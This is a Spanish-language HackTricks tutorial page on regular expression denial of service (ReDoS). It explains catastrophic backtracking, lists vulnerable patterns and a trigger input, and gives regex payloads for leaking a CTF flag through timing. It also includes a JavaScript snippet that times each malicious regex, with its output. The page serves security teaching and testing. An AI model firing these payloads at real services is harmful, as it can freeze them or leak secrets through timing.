Regular expression Denial of Service - ReDoS

Denegación de Servicio de Expresiones Regulares - ReDoS

Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

Denegación de Servicio de Expresiones Regulares (ReDoS)

Una Denegación de Servicio de Expresiones Regulares (ReDoS) ocurre cuando alguien aprovecha las debilidades en cómo funcionan las expresiones regulares (una forma de buscar y hacer coincidir patrones en texto). A veces, cuando se utilizan expresiones regulares, pueden volverse muy lentas, especialmente si el fragmento de texto con el que están trabajando se vuelve más grande. Esta lentitud puede ser tan grave que crece muy rápidamente incluso con pequeños aumentos en el tamaño del texto. Los atacantes pueden aprovechar este problema para hacer que un programa que utiliza expresiones regulares deje de funcionar correctamente durante mucho tiempo.

El Algoritmo Naïve de Regex Problemático

Ver los detalles en https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS

Expresiones Regulares Maliciosas

Un patrón de expresión regular malicioso es aquel que puede quedarse atascado en una entrada manipulada causando una DoS. Los patrones de regex maliciosos típicamente contienen agrupaciones con repetición y repetición o alternancia con superposición dentro del grupo repetido. Algunos ejemplos de patrones maliciosos incluyen:

  • (a+)+

  • ([a-zA-Z]+)*

  • (a|aa)+

  • (a|a?)+

  • (.*a){x} para x > 10

Todos estos son vulnerables a la entrada aaaaaaaaaaaaaaaaaaaaaaaa!.

Cargas Útiles ReDoS

Extracción de Cadena a través de ReDoS

En un CTF (o recompensa por errores) tal vez controles la Regex con la que se empareja una información sensible (la bandera). Entonces, podría ser útil hacer que la página se congele (tiempo de espera o tiempo de procesamiento más largo) si la Regex coincide y no si no lo hace. De esta manera podrás extraer la cadena carácter por carácter:

  • En este post puedes encontrar esta regla ReDoS: ^(?=<flag>)((.*)*)*salt$

  • Ejemplo: ^(?=HTB{sOmE_fl§N§)((.*)*)*salt$

  • En este writeup puedes encontrar esta:<flag>(((((((.*)*)*)*)*)*)*)!

  • En este writeup él usó: ^(?=${flag_prefix}).*.*.*.*.*.*.*.*!!!!$

Controlando la Entrada y la Regex de ReDoS

Los siguientes son ejemplos de ReDoS donde controlas tanto la entrada como la regex:

function check_time_regexp(regexp, text){
var t0 = new Date().getTime();;
new RegExp(regexp).test(text);
var t1 = new Date().getTime();;
console.log("Regexp " + regexp + " took " + (t1 - t0) + " milliseconds.")
}

// This payloads work because the input has several "a"s
[
//  "((a+)+)+$",  //Eternal,
//  "(a?){100}$", //Eternal
"(a|a?)+$",
"(\\w*)+$",   //Generic
"(a*)+$",
"(.*a){100}$",
"([a-zA-Z]+)*$", //Generic
"(a+)*$",
].forEach(regexp => check_time_regexp(regexp, "aaaaaaaaaaaaaaaaaaaaaaaaaa!"))

/*
Regexp (a|a?)+$ took 5076 milliseconds.
Regexp (\w*)+$ took 3198 milliseconds.
Regexp (a*)+$ took 3281 milliseconds.
Regexp (.*a){100}$ took 1436 milliseconds.
Regexp ([a-zA-Z]+)*$ took 773 milliseconds.
Regexp (a+)*$ took 723 milliseconds.
*/

Herramientas

Referencias

Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

Última actualización